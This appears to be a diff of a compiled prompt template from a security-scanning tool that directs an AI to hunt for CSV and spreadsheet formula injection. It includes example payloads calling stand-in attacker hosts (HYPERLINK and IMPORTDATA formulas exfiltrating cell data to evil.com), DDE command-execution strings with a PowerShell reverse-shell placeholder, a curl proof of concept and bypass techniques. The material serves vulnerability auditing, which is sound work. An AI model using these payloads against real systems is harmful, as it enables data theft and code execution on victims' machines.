Analyze the code for places where user-controlled data is written to CSV, XLSX, or other spreadsheet formats without sanitizing formula-triggering characters. When the exported file is opened in Excel, Google Sheets, or LibreOffice, injected formulas can execute commands or exfiltrate data.
|
|
10
|
+
|
|
11
|
+
DANGEROUS CELL PREFIXES:
|
|
12
|
+
- = (formula): =1+1 executes, =HYPERLINK("http://evil.com/"&A1,"Click") exfiltrates data
|
|
13
|
+
- + (formula): +1+1 treated as formula in many spreadsheet applications
|
|
14
|
+
- - (formula): -1+1 treated as formula
|
|
15
|
+
- @ (function): @SUM(A1:A10) in some spreadsheet applications
|
|
16
|
+
- | (pipe): |cmd in some contexts
|
|
17
|
+
- \\t (tab): can break out of the current cell into adjacent cells
|
|
18
|
+
|
|
19
|
+
ATTACK SCENARIOS:
|
|
20
|
+
1. Data exfiltration via HYPERLINK:
|
|
21
|
+
=HYPERLINK("http://evil.com/steal?data="&A1&B1&C1, "Click for Details")
|
|
22
|
+
When victim clicks, their data is sent to attacker's server
|
|
23
|
+
|
|
24
|
+
2. Command execution via DDE (Dynamic Data Exchange):
|
|
25
|
+
=cmd|'/C calc.exe'!A1 (Windows — opens calculator, replace with reverse shell)
|
|
26
|
+
Works in older Excel versions and when DDE is enabled
|
|
27
|
+
|
|
28
|
+
3. Remote file inclusion:
|
|
29
|
+
=IMPORTDATA("http://evil.com/payload.csv") (Google Sheets specific)
|
|
30
|
+
|
|
31
|
+
4. Social engineering via crafted hyperlinks:
|
|
32
|
+
=HYPERLINK("http://evil.com/login","Update your password here")
|
|
33
|
+
|
|
34
|
+
WHAT TO LOOK FOR IN CODE:
|
|
35
|
+
- CSV generation functions: csv.writer, createObjectCsvWriter, json2csv, papaparse
|
|
36
|
+
- String concatenation into CSV cells without escaping
|
|
37
|
+
- User-controlled fields: name, description, comment, address, notes
|
|
38
|
+
- No sanitization of cell values before writing to CSV
|
|
39
|
+
- Template literals or string interpolation building CSV rows
|
|
40
|
+
|
|
41
|
+
CORRECT SANITIZATION:
|
|
42
|
+
- Prefix dangerous cells with a single quote: ' before = + - @ | \\t
|
|
43
|
+
(The quote is hidden in spreadsheet display but prevents formula execution)
|
|
44
|
+
- Or prefix with a tab character followed by the value
|
|
45
|
+
- Or wrap ALL cells in explicit string type when generating XLSX
|
|
46
|
+
- Or strip/reject formula characters from user input before storage
|
|
47
|
+
|
|
48
|
+
FALSE POSITIVE FILTERS:
|
|
49
|
+
- CSV files that only contain system-generated data (no user input in cells)
|
|
50
|
+
- Export functions with proper sanitization: value.replace(/^[=+\\-@|\\t]/, "'$&")
|
|
51
|
+
- XLSX libraries that set cell type to 'string' explicitly (prevents formula parsing)
|
|
52
|
+
|
|
53
|
+
ENTRY POINTS:
|
|
54
|
+
- Admin dashboard export buttons (export users, export orders, export reports)
|
|
55
|
+
- API endpoints that return CSV: /api/export?format=csv
|
|
56
|
+
- Scheduled report generation sent via email
|
|
57
|
+
- User-facing download features (download my data, download transactions)
|
|
58
|
+
|
|
59
|
+
KNOWN BYPASS TECHNIQUES:
|
|
60
|
+
- Unicode homoglyphs: using = lookalike (U+FF1D) that some parsers normalize
|
|
61
|
+
- Encoding tricks: %3D (=) in URL-encoded input that gets decoded before CSV write
|
|
62
|
+
- Nested quotes: breaking out of CSV quoting to inject formula in adjacent cell
|
|
63
|
+
- Multiline injection: newline in field value creates new CSV row with formula
|
|
64
|
+
- Tab injection: \\t in field value shifts data to next column, formula in shifted column
|
|
65
|
+
|
|
66
|
+
RELEVANT SPECIFICATIONS:
|
|
67
|
+
- CWE-1236: Improper Neutralization of Formula Elements in a CSV File
|
|
68
|
+
- OWASP CSV Injection Guidance
|
|
69
|
+
- RFC 4180: Common Format and MIME Type for CSV Files
|
|
70
|
+
|
|
71
|
+
For each finding, cite the EXACT export function, which user-controlled fields are included, and what sanitization is missing.`,
|
|
72
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a CSV/formula injection vulnerability.
|
|
73
|
+
|
|
74
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
75
|
+
|
|
76
|
+
VERIFICATION STEPS:
|
|
77
|
+
1. Identify the export endpoint and function
|
|
78
|
+
2. Trace which database fields are included in the export
|
|
79
|
+
3. Determine which of those fields accept user input (names, descriptions, comments)
|
|
80
|
+
4. Check if any sanitization exists for formula-triggering characters (= + - @ | \\t)
|
|
81
|
+
5. Verify the user can control the field content (registration form, profile edit, etc.)
|
|
82
|
+
6. Confirm the output format (CSV, XLSX) and how it's opened by the target audience
|
|
83
|
+
|
|
84
|
+
PROOF-OF-CONCEPT:
|
|
85
|
+
\`\`\`
|
|
86
|
+
Step 1: Create a user account with name:
|
|
87
|
+
=HYPERLINK("http://attacker.com/steal?data="&B2&C2,"Normal Name")
|
|
88
|
+
|
|
89
|
+
Step 2: Wait for admin to export users to CSV
|
|
90
|
+
|
|
91
|
+
Step 3: When admin opens CSV in Excel:
|
|
92
|
+
- Cell displays "Normal Name" (looks legitimate)
|
|
93
|
+
- When clicked, sends data from adjacent cells to attacker.com
|
|
94
|
+
|
|
95
|
+
Alternative — command execution:
|
|
96
|
+
Name: =cmd|'/C powershell -e <base64_reverse_shell>'!A1
|
|
97
|
+
(Requires DDE to be enabled — older Excel or user clicks "Enable")
|
|
98
|
+
\`\`\`
|
|
99
|
+
|
|
100
|
+
\`\`\`bash
|
|
101
|
+
# Register with malicious name
|
|
102
|
+
curl -X POST /api/register \\
|
|
103
|
+
-H "Content-Type: application/json" \\
|
|
104
|
+
-d '{"name": "=HYPERLINK(\\"http://evil.com/\\"&A2,\\"John Smith\\")", "email": "attacker@evil.com"}'
|
|
105
|
+
|
|
106
|
+
# Trigger export (as admin)
|
|
107
|
+
curl -X GET /api/admin/export/users?format=csv \\
|
|
108
|
+
-H "Authorization: Bearer <admin-token>" \\
|
|
109
|
+
-o users.csv
|
|
110
|
+
|
|
111
|
+
# Inspect CSV — malicious formula should be present unescaped
|
|
112
|
+
cat users.csv | grep HYPERLINK
|
|
113
|
+
\`\`\`
|
|
114
|
+
|
|
115
|
+
SEVERITY ASSESSMENT:
|
|
116
|
+
- High: Formula injection in exports consumed by admins/support staff (social engineering + data exfil)
|
|
117
|
+
- High: DDE command execution in environments where DDE is enabled
|
|
118
|
+
- Medium: Formula injection in user-facing exports (self-XSS equivalent, lower impact)
|
|
119
|
+
- Medium: Data exfiltration via HYPERLINK requiring victim click
|
|
120
|
+
- Low: Formula injection in exports that are only consumed programmatically (not opened in spreadsheets)
|
|
121
|
+
|
|
122
|
+
IMPACT AMPLIFIERS:
|
|
123
|
+
- Export is emailed to multiple recipients (wider blast radius)
|
|
124
|
+
- Export contains sensitive data in adjacent cells (PII, financial data)
|
|
125
|
+
- Target organization uses older Excel with DDE enabled
|
|
126
|
+
- Admin exports are routine/trusted (victim unlikely to be suspicious)
|
|
127
|
+
|
|
128
|
+
RELEVANT SPECIFICATIONS:
|
|
129
|
+
- CWE-1236: Improper Neutralization of Formula Elements in a CSV File
|
|
130
|
+
- RFC 4180: Common Format and MIME Type for CSV Files
|
|
131
|
+
|
|
132
|
+
Cite exact file paths, line numbers, the export function, and which user-controlled field is unsanitized.`,
|
|
133
|
+
knownBypasses: [
|
|
134
|
+
'Unicode homoglyphs: fullwidth equals sign (U+FF1D) normalized to = by some parsers',
|
|
135
|
+
'URL-encoding: %3D decoded to = before CSV generation',
|
|
136
|
+
'Nested CSV quoting: breaking out of quoted field to inject formula in adjacent cell',
|
|
137
|
+
'Multiline injection: newline character creates new row with formula',
|
|
138
|
+
'Tab injection: \\t shifts data to next column where formula prefix lands',
|
|
139
|
+
'IMPORTDATA function (Google Sheets): fetch remote CSV into spreadsheet',
|
|
140
|
+
],
|
|
141
|
+
specReferences: [
|
|
142
|
+
'CWE-1236 (Improper Neutralization of Formula Elements in a CSV File)',
|
|
143
|
+
'OWASP CSV Injection Guidance',
|
|
144
|
+
'RFC 4180 (Common Format and MIME Type for CSV Files)',
|
|
145
|
+
],
|
|
146
|
+
severityRange: ['medium', 'high'],
|
|
147
|
+
};
|
|
148
|
+
//# sourceMappingURL=csv-injection.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"csv-injection.js","sourceRoot":"","sources":["../../../src/hunt/templates/csv-injection.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,YAAY,GAA0B;IACjD,EAAE,EAAE,eAAe;IACnB,IAAI,EAAE,yBAAyB;IAC/B,GAAG,EAAE,UAAU;IACf,YAAY,EAAE,CAAC,KAAK,EAAE,QAAQ,EAAE,UAAU,EAAE,aAAa,EAAE,QAAQ,EAAE,OAAO,EAAE,UAAU,EAAE,MAAM,EAAE,KAAK,CAAC;IACxG,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+HAgE+G;IAE7H,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;0GA4DwF;IAExG,aAAa,EAAE;QACb,oFAAoF;QACpF,sDAAsD;QACtD,qFAAqF;QACrF,qEAAqE;QACrE,0EAA0E;QAC1E,wEAAwE;KACzE;IACD,cAAc,EAAE;QACd,sEAAsE;QACtE,8BAA8B;QAC9B,sDAAsD;KACvD;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,MAAM,CAAC;CAClC,CAAC"}
|